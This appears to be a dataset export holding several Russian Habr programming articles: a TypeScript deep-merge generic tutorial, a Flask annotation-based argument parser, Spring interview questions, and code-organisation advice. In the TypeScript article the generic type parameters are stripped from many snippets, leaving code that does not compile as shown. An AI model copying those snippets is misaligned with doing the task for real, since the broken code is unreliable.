text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Typescript: Объединение типов в глубину
Пошаговое руководство о том, как в TypeScript написать такой generic-тип, который объединяет произвольные вложенные key-value структуры.
*Примечание переводчика: я намерено не стал переводить некоторые слова (вроде generic, key-value), т.к., на мой взгляд, это только усложнит понимание материала.*
### TLDR:
Исходный код для `DeepMergeTwoTypes` будет в конце статьи. Скопируйте его в вашу IDE, чтобы поиграть с ним.
Как это выглядит в vsCode:
Если вы не уверены в своих познаниях о том, как работают generic-и в TypeScript, вы можете ознакомиться [с этой статьёй](https://kuba-svehla.medium.com/minimalist-typescript-generics-173d09da66b4) (Miniminalist Typescript - Generics)
Если вы хотите проверить корректность кода просто скопируйте его в вашу IDE (*прим. переводчика: или в* [*TypeScript Playground песочницу*](https://www.typescriptlang.org/play)).
### Disclaimer
Используя код из этой статьи в production вы делаете это на свой страх и риск (тем не менее, мы его используем).
### Проблема поведения &-оператора в Typescript
Для начала посмотрим на проблему объединения типов. Определим два типа `A` и `B` и новый тип `C`, который является результатом объединения `A & B`
```
type A = { key1: string, key2: string }
type B = { key2: string, key3: string }
type C = A & B
const a = (c: C) => c.
```
Всё выглядит замечательно до тех пор, пока вы не начнёте объединять несовместимые типы данных.
```
type A = { key1: string, key2: string }
type B = { key2: null, key3: string }
type C = A & B
```
Тип `A` определяет `key2` как строку, в то время как в типе `B` это `null`.
Typescript выводит это объединение несовместимых типов как `never` и тип `C` просто перестаёт работать. В то время как мы ожидали чего-то вроде этого:
```
type ExpectedType = {
key1: string | null,
key2: string,
key3: string
}
```
### Пошаговое решение
Давайте начнём с создания generic-типа, который будет рекурсивно объединять типы Typescript. Для начала мы определим 2 вспомогательных generic-типа.
#### GetObjDifferentKeys<>
```
type GetObjDifferentKeys = Omit & Omit
```
Этот тип принимает на входе 2 объекта и возвращает новый объект, содержащий только уникальные ключи из `A` и `B`.
```
type A = { key1: string, key2: string }
type B = { key2: null, key3: string }
type C = GetObjDifferentKeys['']
```
#### GetObjSameKeys<>
В противовес предыдущему generic-у объявим другой тип, который вытащит все ключи, которые есть в обоих объектах.
```
type GetObjSameKeys = Omit>
```
Возвращаемый тип — объект.
```
type A = { key1: string, key2: string }
type B = { key2: null, key3: string }
type C = GetObjSameKeys
```
Все вспомогательные типы готовы, так что мы можем приступать к реализации нашего главного generic-типа `DeepMergeTwoTypes`
`DeepMergeTwoTypes<>`
```
type DeepMergeTwoTypes =
// "не общие" (уникальные) ключи - опциональны
Partial>
// общие ключи - обязательны
& { [K in keyof GetObjSameKeys]: T[K] | U[K] }
```
Этот generic находит все "не общие" ключи между объектами `T` и `U`, и сделает их опциональными (необязательными). Спасибо за это стандартному типу `Partial<>`, из стандартной библиотеки типов Typescript. Этот тип с опциональными ключами объединяется (посредством `&`-оператора) с объектом содержащим все общие ключи между `T` и `U` , значением которых будут `T[K] | U[K]`.
Посмотрите на пример ниже. Новый generic нашёл "не-общие" ключи и сделал их опциональными (`?`), в то время как остальные ключи строго обязательны.
```
type A = { key1: string, key2: string }
type B = { key2: null, key3: string }
const fn = (c: DeepMergeTwoTypes) => c.
```
Но наш `DeepMergeTwoTypes` generic не работает рекурсивно со вложенными структурами. Так что давайте вынесем объединение объектов в новый generic тип `MergeTwoObjects` и будем вызывать `DeepMergeTwoTypes` рекурсивно до тех пор, пока он не объединит все вложенные структуры.
```
// этот generic рекурсивно вызывает DeepMergeTwoTypes<>
type MergeTwoObjects =
// "не общие" (уникальные) ключи - опциональны
Partial>
// общие ключи - обязательны
& {[K in keyof GetObjSameKeys]: DeepMergeTwoTypes}
export type DeepMergeTwoTypes =
// проверяем являются ли типы массивами, распаковываем и запускаем рекурсию
[T, U] extends [{ [key: string]: unknown }, { [key: string]: unknown } ]
? MergeTwoObjects
: T | U
```
***PRO TIP****: Обратите внимание на то, что в DeepMergeTwoTypes используется if-else условие (*`extends ?:`) *Мы проверяем что и* `T` и `U` удовлетворяют условию, засунув их в кортеж (tuple) `[T, U]`. Это поведение похоже на `&&`-оператор в Javascript.
Этот generic проверяет, что оба параметра соответствуют типу `{ [key: string]: unknown }` (это `Object`). Если это так, то он объединяет их посредством `MergeTwoObject<>`. Этот процесс рекурсивно повторяется для всех вложенных объектов.
*Примечание переводчика: Проверка на* `extends { [key: string]: unknown }` *позволяет отфильтровать все не-объекты, т.е. строки, числа, booleans и т.д..*
И вуаля! Теперь наш generic рекурсивно применён ко всем вложенным объектам. Пример:
```
type A = { key: { a: null, c: string} }
type B = { key: { a: string, b: string} }
const fn = (c: MergeTwoObjects) => c.key.
```
На этом всё?
Увы, нет. Наш новый generic не поддерживает массивы.
Прежде, чем мы продолжим, мы должны понять ключевое слово `infer` (to infer - выводить).
`infer` смотрит на структуру данных и вытаскивает её тип (в нашем случае это массив). Подробнее почитать про `infer` можно [здесь](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-8.html#type-inference-in-conditional-types) (Type inference in conditional types).
Пример использования `infer`. Здесь мы получаем тип отдельно взятого элемента массива (`Item`):
```
export type ArrayElement= A extends (infer T)[] ? T : never
// Item === (number | string)
type Item = ArrayElement<(number | string)[]>
```
Теперь мы можем добавить поддержку массивов, просто добавив эти две строки, в которых мы выводим тип значений элементов массива. И рекурсивно вызываем `DeepMergeTwoTypes` для содержимого массивов.
```
export type DeepMergeTwoTypes =
// ----- 2 добавленные строки ------
// эта ⏬
[T, U] extends [(infer TItem)[], (infer UItem)[]]
// ... и эта ⏬
? DeepMergeTwoTypes[]
: ... rest of previous generic ...
```
Сейчас `DeepMergeTwoTypes` может рекурсивно вызывать сам себя, в случае если значения это объекты или массивы.
```
type A = [{ key1: string, key2: string }]
type B = [{ key2: null, key3: string }]
const fn = (c: DeepMergeTwoTypes) => c[0].
```
И это работает! На этом всё?
Эх... Нет. Последняя проблема заключается в объединении `Nullable` типов с `non-nullable`.
```
type A = { key1: string }
type B = { key1: undefined }
type C = DeepMergeTwoTypes['key']
```
Ожидаемый тип — `string | undefined`, но на деле это не так. Давайте добавим ещё две строки в нашу цепочку `if-else` .
```
export type DeepMergeTwoTypes =
[T, U] extends [(infer TItem)[], (infer UItem)[]]
? DeepMergeTwoTypes[]
: [T, U] extends [{ [key: string]: unknown}, { [key: string]: unknown } ]
? MergeTwoObjects
// ----- 2 добавленные строки ------
// эта ⏬
: [T, U] extends [
{ [key: string]: unknown } | undefined,
{ [key: string]: unknown } | undefined
]
// ... и эта ⏬
? MergeTwoObjects, NonNullable> | undefined
: T | U
```
Проверяем объединение `nullable` значений:
```
type A = { key1: string }
type B = { key1: undefined }
const fn = (c: DeepMergeTwoTypes) => c.key1;
```
### И... Вот теперь всё!
Мы сделали это! Значения корректно объединяются даже для `nullable` , вложенных объектов и массивов.
Давайте опробуем наш generic на более сложных данных:
```
type A = { key1: { a: { b: 'c'} }, key2: undefined }
type B = { key1: { a: {} }, key3: string }
const fn = (c: DeepMergeTwoTypes) => c.
```
Полный исходный код:
```
/**
* Принимает 2 объекта T и U и создаёт новый объект, с их уникальными
* ключами. Используется в `DeepMergeTwoTypes`
*/
type GetObjDifferentKeys = Omit & Omit
/\*\*
\* Принимает 2 объекта T and U и создаёт новый объект с их ключами
\* Используется в `DeepMergeTwoTypes`
\*/
type GetObjSameKeys = Omit>
type MergeTwoObjects =
// "не общие" ключи опциональны
Partial>
// общие ключи рекурсивно заполняются за счёт `DeepMergeTwoTypes<...>`
& { [K in keyof GetObjSameKeys]: DeepMergeTwoTypes }
// объединяет 2 типа
export type DeepMergeTwoTypes =
// проверяет являются ли типы массивами, распаковывает их и
// запускает рекурсию
[T, U] extends [(infer TItem)[], (infer UItem)[]]
? DeepMergeTwoTypes[]
// если типы это объекты
: [T, U] extends [
{ [key: string]: unknown},
{ [key: string]: unknown }
]
? MergeTwoObjects
: [T, U] extends [
{ [key: string]: unknown } | undefined,
{ [key: string]: unknown } | undefined
]
? MergeTwoObjects, NonNullable> | undefined
: T | U
// тестируем:
type A = { key1: { a: { b: 'c'} }, key2: undefined }
type B = { key1: { a: {} }, key3: string }
const fn = (c: DeepMergeTwoTypes) => c.key
```
### Последний штрих
Как бы так поправить `DeepMergeTwoTypes` generic, чтобы он мог принимать `N` аргументов вместо двух?
Я оставлю этот материал для следующей статьи, но вы можете посмотреть мой рабочий черновик [здесь](https://gist.github.com/Svehla/2c399396cb678503990837c0c997c0db)).
#### Примечание переводчика
Это мой первый опыт перевода. Убедительная просьба об опечатках, запятых и просто косноязычных фразах писать в личку. | https://habr.com/ru/post/526998/ | null | ru | null |
# Один вариант использования аннотаций
Сразу хочу объявить, что здесь под аннотациями подразумеваются **НЕ** декораторы. И я не знаю по какой причине декораторы иногда именуют аннотациями.
Недавно я открыл для себя что в питоне есть фишка, которую я очень давно искал — [аннотации к функциям](http://legacy.python.org/dev/peps/pep-3107/). Это — возможность пихнуть в декларацию функции какую-либо информацию по каждому отдельному её параметру.
Вот каноничный пример из PEP:
```
def compile(source: "something compilable",
filename: "where the compilable thing comes from",
mode: "is this a single statement or a suite?"):
...
```
Там же, чуть ниже, приводятся примеры, которые дают понять, что комментирование параметров — не единственное возможное использование данной фичи. Это натолкнуло меня на мысль об одной старой беде, которая досаждала моей нервной системе уже приличное время. А именно — [получение данных из форм во Flask](http://flask.pocoo.org/docs/quickstart/#the-request-object).
#### Проблема
Когда ты хочешь получить аргументы из запроса, ты вынужден брать их сам. Каждый раз. Каждый аргумент. Более того, ты вынужден обрабатывать эти аргументы прямо в теле своего Endpoint. Выглядит это, как правило, не очень дружелюбно.
Вот пример:
```
@app.route('/ugly_calc')
def ugly_calc():
x, y = int(request.args['x']), int(request.args['y'])
op = OPERATION[request.args['op']]
# Только тут начинается реальное тело функции. Всё, что выше — получение аргументов и их обработка (кстати, очень хреновая обработка)
return str(op(x, y))
```
Было бы намного логичней получать в контроллер уже очищенные, валидированные и проверенные аргументы:
```
@app.route('/calc')
def calc(x:Arg(int), y:Arg(int), op:Arg(_from=OPERATION)):
return str(op(x, y))
```
Код приобрёл в читаемости и логичности, и размер контроллера уменьшился до фактического количества операций.
#### Ну погнали
Первым делом, нам нужно накидать класс аргумента.
Основу для него мы возьмём [вот отсюда](https://github.com/sloria/webargs/blob/dev/webargs/core.py). Выкинем то, что нам сейчас не нужно, и вуаля!
```
class Arg(object):
"""
A request argument.
"""
def __init__(self, p_type=str, default=None):
self.type = p_type
self.default = default
def _validate(self, value):
"""Perform conversion and validation on ``value``."""
return self.type(value)
def validated(self, value):
"""
Convert and validate the given value according to the ``p_type``
Sets default if value is None
"""
if value is None:
return self.default or self.type()
return self._validate(value)
```
Да, класс аргумента у нас пока что будет очень минималистичным. В конце-концов, расширить его всякими required и передаваемыми валидаторами мы сможем его в любой момент.
Теперь нам нужно сделать штуку, которая будет получать словарь из «грязных» аргументов, и возвращать «чистые».
Тут будет полезно узнать, что аннотации, приписанные функции, формируют словарь, который ложится в атрибут `__annotations__`.
```
>>> def lol(yep, foo: "woof", bar: 32*2):
pass
>>> lol.__annotations__
{'foo': 'woof', 'bar': 64}
```
Итак, как мы видим, у нас есть словарь со всеми элементами, которые нужно обрабатывать. Но про существование других аргументов тоже забывать не следует. Будет не очень хорошо, если функция `lol` не получит свой `yep`.
Что-то я отступил от повествования. Продолжаем:
```
class Parser(object):
def __call__(self, dct):
"""
Just for simplify
"""
return self.validated(dct)
def __init__(self, structure):
self.structure = structure
def validated(self, dct):
for key, arg_instatce in self.structure.items():
dct[key] = arg_instatce(dct.get(key, None))
return dct
```
Этот класс простой как три рубля. Его инстансы валидируют каждую полученный параметр, название которого есть и в полученном словаре, и в структуре параметров, а потом возвращают изменённый словарь. В общем-то, особого смысла его возвращать и нет, это просто привычка :)
Мы достаточно активно используем дополнительный параметр `__annotations__` и декораторы. Поэтому будет лучше дополнить стандартный `wraps` дабы избежать проблем.
```
from functools import wraps as orig_wraps, WRAPPER_ASSIGNMENTS
WRAPPER_ASSIGNMENTS += ('__annotations__',)
wraps = lambda x: orig_wraps(x, WRAPPER_ASSIGNMENTS)
```
Теперь нам нужен простой декоратор для оборачивания целевых функций. Сделаем его в виде класса. Так будет проще.
```
class Endpoint(object):
"""
Класс для оборачивания целевых функций и передачи им
уже обработанных аргументов вместо сырых
>>> plus = Endpoint(plus)
>>> plus(5.0, "4")
9
"""
def __call__(self, *args, **kwargs):
return self.callable(*args, **kwargs)
def __init__(self, func):
self.__annotations__ = func.__annotations__
self.__name__ = func.__name__
self.set_func(func)
def set_func(self, func):
if func.__annotations__:
# Создаём парсер для данной структуры данных
self.parser = Parser(func.__annotations__)
# Делаем инстансы данного класса вызываемыми.
# Целевая функция оборачивается в декоратор, который
# описн ниже
self.callable = self._wrap_callable(func)
else:
self.callable = func
def _wrap_callable(self, func):
@wraps(func)
def wrapper(*args, **kwargs):
# Обертка принимает все аргументы, предназначенные
# для целефой функции, и передаёт в парсер именованные.
# Только именованные - потому что сюда все данные из
# форм будут приходить именованными
return func(*args, **self.parser(kwargs))
return wrapper
```
Ну что же, всё готово. Пришло время прикручивать эту штуку к Flask.
Кстати, всё, что мы пилили до этого момента, написано достаточно абстрактно для того, чтобы использовать эти же фрагменты кода и на других фреймворках. И даже без фреймворков :)
Начнём:
```
class Flask(OrigFlask):
# Для чистого роутинга. Вдруг кому пригодится
froute = OrigFlask.route
def route(self, rule, **options):
"""
Роутим прям как во фласке.
"""
def registrator(func):
# У нас будет правило: 1 метод - 1 эндпоинт.
if 'methods' in options:
method = options['methods'][0]
else:
method = 'GET'
wrapped = self.register_endpoint(rule, func, options.get('name'), method)
return wrapped
return registrator
def register_endpoint(self, rule, func, endpoint_name=None, method='GET'):
endpoint_name = endpoint_name or func.__name__
endpoint = Endpoint(func)
wrapped = self._arg_taker(endpoint)
self.add_url_rule(rule,
"%s.%s" % (endpoint_name, method),
wrapped, methods=[method])
return wrapped
def _arg_taker(self, func):
"""
Эта функция будет забирать аргументы из формы. Такие дела.
"""
@wraps(func)
def wrapper(*args, **kwargs):
for key_name in func.__annotations__.keys():
kwargs[key_name] = request.args.get(key_name)
return func(*args, **kwargs)
return wrapper
```
Отлично, базовый функционал работает. Пока что без \_from, но, думаю, сейчас можно обойтись и без него.
[Репа](https://bitbucket.org/dsupiev/thunderargs)
Можете задавать свои вопросы и предлагать разнообразные фичи, которые можно будет прикрутить.
#### UPD
Написал [краткий мануал](http://habrahabr.ru/post/224705/) по использованию этой штуковины. | https://habr.com/ru/post/223041/ | null | ru | null |
# Spring: вопросы к собеседованию
Этот небольшой список вопросов даст вам понимание самых важных концепций Spring, а так же поможет подготовится к собеседованию
**1 Для чего нужен Component Scan?**Если вы понимаете как работает Component Scan, то вы понимаете Spring
Первый шаг для описания Spring Beans это добавление аннотации — `@Component`, или `@Service`, или `@Repository`.
Однако, Spring ничего не знает об этих бинах, если он не знает где искать их. То, что скажет Spring где искать эти бины и называется Component Scan. В @ComponentScan вы указываете пакеты, которые должны сканироваться.
Spring будет искать бины не только в пакетах для сканирования, но и в их подпакетах.
**2 Как вы добавите Component Scan в Spring Boot?**
```
@SpringBootApplication
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}
```
@SpringBootApplication определяет автоматическое сканирование пакета, где находится класс Application
Всё будет в порядке, ваш код целиком находится в указанном пакете или его подпакетах.
Однако, если необходимый вам компонент находится в другом пакете, вы должны использовать дополнительно аннотацию @ComponentScan, где перечислите все дополнительные пакеты для сканирования
**3 В чём отличие между @Component и @ComponentScan?**`@Component` и `@ComponentScan` предназначены для разных целей
`@Component` помечает класс в качестве кандидата для создания Spring бина.
`@ComponentScan` указывает где Spring искать классы, помеченные аннотацией `@Component` или его производной
**4 Для чего используется аннотация @Bean?**В классах конфигурации Spring, `@Bean` используется для определения компонентов с кастомной логикой.
**5 В чём разница между @Bean и @Component?**`@Bean` используется в конфигурационных классах Spring. Он используется для непосредственного создания бина.
`@Component` используется со всеми классами, которыми должен управлять Spring. Когда Spring видит класс с `@Component`, Spring определяет этот класс как кандидата для создания bean.
**6 В чём разница между @Component, @Service и @Repository аннотациями?**Все они определяют бины Spring. Однако между ними всё же есть разница.
`@Component` — универсальный компонент
`@Repository` — компонент, который предназначен для хранения, извлечения и поиска. Как правило, используется для работы с базами данных.
`@Service` — фасад для некоторой бизнес логики
Пользовательские аннотации, производные от `@Component`, могут добавлять специальную логику в бинах.
Например, бины, получившиеся при помощи `@Repository`, дополнительно имеют обработку для JDBC Exception
**7 Можем ли мы использовать @Component вместо @Service для бизнес логики?**Да. конечно.
Если `@Component` является универсальным стереотипом для любого Spring компонента, то `@Service` в настоящее время является его псевдонимом. Однако, в официальной документации Spring рекомендуется использовать именно `@Service` для бизнес логики. Вполне возможно, что в будущих версиях фреймворка, для данного стереотипа добавится дополнительная семантика, и его бины станут обладать дополнительной логикой.
**8 В чем различие между web.xml и the Spring Context - servlet.xml?**web.xml — Метаданные и конфигурация любого веб-приложения, совместимого с Java EE. Java EE стандарт для веб-приложений.
servlet.xml — файл конфигурации, специфичный для Spring Framework.
**9 Что предпочитаете использовать для конфигурации Spring - xml или аннотирование?**Предпочитаю аннотации, если кодовая база хорошо описывается такими элементами, как `@Service, @Component, @Autowired`
Однако когда дело доходит до конфигурации, у меня нет каких-либо предпочтений. Я бы оставил этот вопрос команде.
**10 Можем ли мы применить @Autowired с не сеттерами и не конструкторами методами?**Да, конечно.
@Autowired может использоваться вместе с конструкторами, сеттерами или любым другими методами. Когда Spring находит @Autowired на методе, Spring автоматически вызовет этот метод, после создания экземпляра бина. В качестве аргументов, будут подобраны подходящие объекты из контекста Spring.
**11 В чем разница между Сквозной Функциональностью
(Cross Cutting Concerns) и АОП (аспектно оринтированное программирование)?**Сквозная Функциональность — функциональность, которая может потребоваться вам на нескольких различных уровнях — логирование, управление производительностью, безопасность и т.д.
АОП — один из подходов к реализации данной проблемы
**12 В чем разница между IOC (Inversion of Control) и Application Context?**IOC — инверсия управления. Вместо ручного внедрения зависимостей, фреймворк забирает ответственность за это.
ApplicationContext — реализация IOC спрингом.
Bean Factory — это базовая версия IOC контейнера
Application Context также включает дополнительные функции, которые обычно нужны для разработки корпоративных приложений
**13 В чем разница между classPathXmlApplicationContext и annotationConfigApplicationContext?**classPathXmlApplicationContext — если вы хотите инициализировать контекст Spring при помощи xml
annotationConfigApplicationContext — если вы хотите инициализировать контекст Spring при помощи конфигурационного класса java
**14 Почему возвращаемое значение при применении аспекта @Around может потеряться? Назовите причины.**Метод, помеченный аннотацией `@Around`, должен возвращать значение, которое он (метод) получил из joinpoint.proceed()
```
@Around("trackTimeAnnotation()")
public Object around(ProceedingJoinPoint joinPoint) throws Throwable{
long startTime = System.currentTimeMillis();
Object retVal = joinPoint.proceed();
long timeTaken = System.currentTimeMillis() - startTime;
logger.info("Time taken by {} is equal to {}",joinPoint, timeTaken);
return retVal;
}
```
**15 Как вы решаете какой бин инжектить, если у вас несколько подходящих бинов. Расскажите о @Primary и @Qualifier?**Если есть бин, который вы предпочитаете большую часть времени по сравнению с другими, то используйте `@Primary`, и используйте `@Qualifier` для нестандартных сценариев.
Если все бины имеют одинаковый приоритет, мы всегда будем использовать `@Qualifier`
Если бин надо выбрать во время исполнения программы, то эти аннотации вам не подойдут. Вам надо в конфигурационном классе создать метод, пометить его аннотацией `@Bean`, и вернуть им требуемый бин.
**16 Что нового в Spring Framework 5.0?**На мой взгляд это Functional Web Framework, Kotlin и и поддержка реактивного программирования.
**17 Сравните Application Context, IOC Container, vs Web Container и EJB Container. Нужен ли Web Container для запуска Spring Boot приложения?**Web Container и EJB Containers являются частью приложения/веб-сервера, таких как Tomcat, Websphere, Weblogic. Они добавляют свою дополнительную функциональность к ним. Java EE определяет контракт для веб-приложений, эти контейнеры являются реализацией этих контрактов.
Spring контейнер может являться частью любого приложения, которое вы делаете на java. Spring может работать внутри веб-контейнера, ejb контейнера или даже без них.
**18 Как мы можем выбрать подходящий бин при помощи application.properties?**Рассмотрим пример:
```
interface GreetingService {
public String sayHello();
}
```
И два компонента
```
@Component(value="real")
class RealGreetingService implements GreetingService {
public String sayHello() {
return "I'm real";
}
}
@Component(value="mock")
class MockGreetingService implements GreetingService {
public String sayHello() {
return "I'm mock";
}
}
```
Тогда в application.properties добавим свойство
application.greeting: real
Воспользуемся данным решением:
```
@RestController
public class WelcomeController {
@Resource(name="${application.greeting}")
private GreeterService service1;
}
```
**19 Какая минимальная версия Java поддерживается в Spring Boot 2 и Spring 5?**Spring 5.0 и Spring Boot 2.0 поддерживают Java 8 и более поздней версии.
**20 В чём разница между @Controller и @RestController?**`@RestController = @Controller + @ResponseBody`
`@RestController` превращает помеченный класс в Spring-бин. Этот бин для конвертации входящих/исходящих данных использует Jackson message converter. Как правило целевые данные представлены в json или xml.
**21 Почему иногда мы используем @ResponseBody, а иногда ResponseEntity?**ResponseEntity необходим, только если мы хотим кастомизировать ответ, добавив к нему статус ответа. Во всех остальных случаях будем использовать @ResponseBody.
```
@GetMapping(value=”/resource”)
@ResponseBody
public Resource sayHello() { return resource; }
@PostMapping(value=”/resource”)
public ResponseEntity createResource() {
….
return ResponseEntity.created(resource).build();
}
```
Стандартные HTTP коды статусов ответов, которые можно использовать.
200 — SUCCESS
201 — CREATED
404 — RESOURCE NOT FOUND
400 — BAD REQUEST
401 — UNAUTHORIZED
500 — SERVER ERROR
Для @ResponseBody единственные состояния статуса это SUCCESS(200), если всё ок и SERVER ERROR(500), если произошла какая-либо ошибка.
Допустим мы что-то создали и хотим отправить статус CREATED(201). В этом случае мы используем ResponseEntity.
**22 В чем разница между Filters, Listeners and Interceptors?**Концептуально всё просто, фильтры сервлетов могут перехватывать только HTTPServlets. Listeners могут перехватывать специфические события. Как перехватить события которые относятся ни к тем не другим?
Фильтры и перехватчики делают по сути одно и тоже: они перехватывают какое-то событие, и делают что-то до или после.
Java EE использует термин Filter, Spring называет их Interceptors.
Именно здесь AOP используется в полную силу, благодаря чему возможно перехватывание вызовов любых объектов
**23 В чем разница между ModelMap и ModelAndView?**Model — интерфейс, ModelMap его реализация..
ModelAndView является контейнером для пары, как ModelMap и View.
Обычно я люблю использовать ModelAndView. Однако есть так же способ когда мы задаем необходимые атрибуты в ModelMap, и возвращаем название View обычной строкой из метода контроллера.
**24 В чем разница между model.put() и model.addAttribute()?**Метод addAttribute отделяет нас от работы с базовой структурой hashmap. По сути addAttribute это обертка над put, где делается дополнительная проверка на null. Метод addAttribute в отличии от put возвращает modelmap.
model.addAttribute(“attribute1”,”value1”).addAttribute(“attribute2”,”value2”);
**25 Что можете рассказать про Form Binding?**Нам это может понадобиться, если мы, например, захотим взять некоторое значение с HTML страницы и сохранить его в БД. Для этого нам надо это значение переместить в контроллер Спринга.
Если мы будем использовать Spring MVC form tags, Spring автоматически свяжет переменные на HTML странице с Бином Спринга.
Если мне придется с этим работать, я обязательно буду смотреть официальную документацию Spring MVC Form Tags.
**26 Почему мы используем Hibernate Validator?**Hibernate Validator никак не связан с БД. Это просто библиотека для валидации.
Hibernate Validator версии 5.x является эталонной реализацией Bean Validation 1.1
Так же если взглянуть по адресу <http://beanvalidation.org/2.0>, то Hibernate Validator является единственным, который сертифицирован.
**27 Где должны располагаться статические (css, js, html) ресурсы в Spring MVC приложении?**Расположение статических ресурсов можно настроить. В документации Spring Boot рекомендуется использовать /static, или /public, или /resources, или /META-INF/resources
**28 Почему для конфиденциальных данных рекомендуется использовать POST, а не GET запросы?**В случае GET запроса передаваемые параметры являются частью url, и все маршрутизаторы, через которые пройдет наш GET запрос, смогут их прочитать.
В случае POST запроса передаваемые параметры являются частью тела запроса. При использовании HTTPs, тело запроса шифруется. Следовательно, использование POST запросов является более безопасным
**29 Можно ли передать в запросе один и тот же параметр несколько раз?**Пример:
`http://localhost:8080/login?name=Ranga&name=Ravi&name=Sathish`
Да, можно принять все значения, используя массив в методе контроллера
```
public String method(@RequestParam(value="name") String[] names){
}
```
Хочу поблагодарить пользователя хабра [jd2050](https://habrahabr.ru/users/jd2050/), за помощь с переводом. | https://habr.com/ru/post/350682/ | null | ru | null |
# Советы по архитектуре кода для начинающих
#### Для кого статья
Вы уже написали свои первые 1000 строк кода и сейчас хотите сделать их понятнее, потому что внесение изменений занимает столько-же времени, сколько написать заново, но советы из ООП, SOLID, clean architecture и т.д. непонятны вам.
#### О чем статья
Эта статья - не объяснение принципов ООП, SOLID своими словами, а попытка создать промежуточный уровень между никакой и чистой архитектурами. 100% советы будут накладываться друг на друга и перефразировать SOLID, но так даже лучше.
#### От кого статья
Я обычный разработчик. Конечно, не гуру разработки, но кому, как не мне, помнить о проблемах, с которыми сталкивался когда только начинал свой путь.
#### Отказ от ответственности
Уверен, каждый пункт из статьи может быть предметом спора, но на то это и вольный пересказ. Вся статья идет под эмблемой "Лучше применить такую архитектуру, чем не применять вообще никакой".
Формат статьи - наводящие советы / вопросы.
**Содержание:**
1. К чему относится функция.
2. Как вы будете модернизировать одну функцию, не затрагивая другую.
3. На сколько логических частей я могу раздробить мою функцию?
4. Повторяющиеся слова в названиях функций / переменных.
5. Что является центральными объектами вашего кода.
6. На какие аналогичные функции может быть заменена ваша функция?
7. Как выглядит идеальный псевдокод вашей функции?
8. Обращайте внимание на формат данных.
9. Отдавайте предпочтение пространству имен, а не ветвлениям.
10. Скрывайте постоянные аргументы функции внутри отдельной функции.
### Совет номер 1
Когда пишете код и не знаете как его организовать - задайте себе вопрос следующего типа:
“К чему относится моя функция?” / “К чему относится этот функционал?” / “За что отвечает этот функционал?”
Попробуйте мысленно проставить хэштеги вашей функции:
#обработка, #валидация, #проверка, #БД, #отображение.
Безусловно, запрос к БД может являться частью обработки, но он же в будущем может использоваться и для другой функции,
даже если пока написан только для этой.
*Ремарка*: Вообще в разработке уже есть устоявщийся набор таких тегов, некоторые из них: validate, check, get, set, show, load, send. Сюда же входит CRUD и HTTP заголовки.
### Совет номер 2
Подумайте, что может быть причиной модернизации вашей функции, что заставит ее измениться.
Небольшие изменения не должны существенно затрагивать другие функции.
Например, вам нужно поменять у функции чтения контактов запрос к базе данных,
это не должна быть та-же функция, что и отправка или отображение контактов.
Стремитесь к ситуации, когда добавление нового функционала сводится к созданию нового метода у класса, и возможно, появлению пары новых аргументов у функции / цепочки вызова функций.
Бывают задачи, которые требуют значительных изменений, но это происходит редко.
### Совет номер 3
“На какие части я бы разделил этот функционал?”, “На какие еще подфункции можно разделить код этой функции?”.
Рекурсивно задавая себе этот вопрос, вы придете к моменту, когда функция становится "атомарной", ее функционал логически больше не имеет смысла дробить (не путать с атомарной операцией).
`def get_product_price():
… # Здесь код`
Даже ничего не зная об этой функции и требованиях к задаче, я предполагаю,
что процесс вычисления цены можно разбить на N этапов, к примеру:
1. Применить общую формулу процентов. - Та самая атомарная операция.
Раздробить это действие уже не получится.
2. Применить ограничения к цене.
Товар не может стоить меньше, чем похожий товар из прошлогодней коллекции и т.п.
3. Применить скидку. Скидка не может быть отрицательной, больше 100%, и т.п.
Две функции ниже могут быть общими для всего проекта и находиться в модуле "[util.py](http://util.py)".
Классы могут использовать эти функции под разными и аргументами, делая обертку вокруг них.
*Примечание:* не все программисты одобряют такой модуль в проекте, я встречал статью с критикой такого подхода, но на этом этапе это вполне оправдано.
```
# (Не очень удачное название)
def calculate_percentage_number(number: int, percentage: int) -> int:
return number * (percentage / 100)
def limit_number(number: int, min_: int, max_: int, ) -> int:
"""Вернет число или ограничение числа."""
return min(max(min_, number), max_)
def get_product_price(price: int, discount: int, ) -> int:
min_discount = 10 # Лучше поместить внутрь класса
max_discount = 20 # Лучше поместить внутрь класса
discount = calculate_percentage_number(number=price, percentage=discount, )
discount = limit_number(
number=discount,
min_=min_discount,
max_=max_discount,
)
discounted_price = price - discount
if 0 < discounted_price < price:
return discounted_price
# Игнорируем скидку в случае ошибки.
logger.log(DiscountError)
return price # Более разумным будет применить базовую скидку.
```
Обратите внимание как меняются имена переменных в зависимости от контекста,
`price -> number, discount -> percentage.`
*Подсказка:* Если функцию без труда можно записать в функциональном стиле
(когда наша функция в качества аргумента вызывает другую функцию) - то к ней применимо правило дробления.
Разумеется, не нужно сразу дробить ваш функционал на 1000 частей, далеко не все вам понадобится (принцип YAGNI), но вы должно быть к этому готовым.
*Подсказка:* Для процентов можно создать отдельный тип, что бы не путать с обычными числами.
### Совет номер 4
Обратите внимание на повторяющиеся "`user`" в названии функций.
```
def get_user_data():
...
def notify_user_friends():
...
def create_user_post():
...
```
Такие повторения явный признак, что пора создавать класс для повторяющегося слова:
В пайтоне класс это не только объект, который должен быть создан много раз, но и пространство имен (удобная организация функций).
*Ремарка:* Лично я считаю, что инструкция "`class`" в пайтоне перегружена,
это и пространство имен, и структура данных, и сами классы собственно.
Лучше будет:
```
class User():
def get_data():
...
def notify_friends():
...
```
### Совет номер 5
ООП вращается вокруг объектов / сущностей / моделей, которые определяет бизнес / работодатель.
В проекте условного мессенджера класс "`сообщение`" будет большим,
а в проекте про такси класс "`сообщение`" будет куда меньше, зато будет большой класс "`автомобиль`".
Определите для себя, какие классы в вашем проекте центральные и наполняйте их методами.
*Ремарка:* возможно в ближайшем будущем какой-нибудь ИИ создаст универсальную структуру для каждого объекта на земле и в каждом проекте будут одинаковые объекты, но скорее всего ИИ просто научится программировать лучше нас, без всякой организации кода :)
На моей практике начало любого проекта это небольшой набор стандартных функций и классов, например:
`View, DB, User, Mail`. Они используются для общих целей.
Очень быстро в сервисе такси класс `Taxi` перерастет остальные классы и будет иметь собственный метод приветствия.
```
def some_func(user: User):
...
View.say_hello(name=user.name, ) # Общее приветствие.
taxi.say_hello(name=user.name, ) # Приветствие от конкретного такси.
...
```
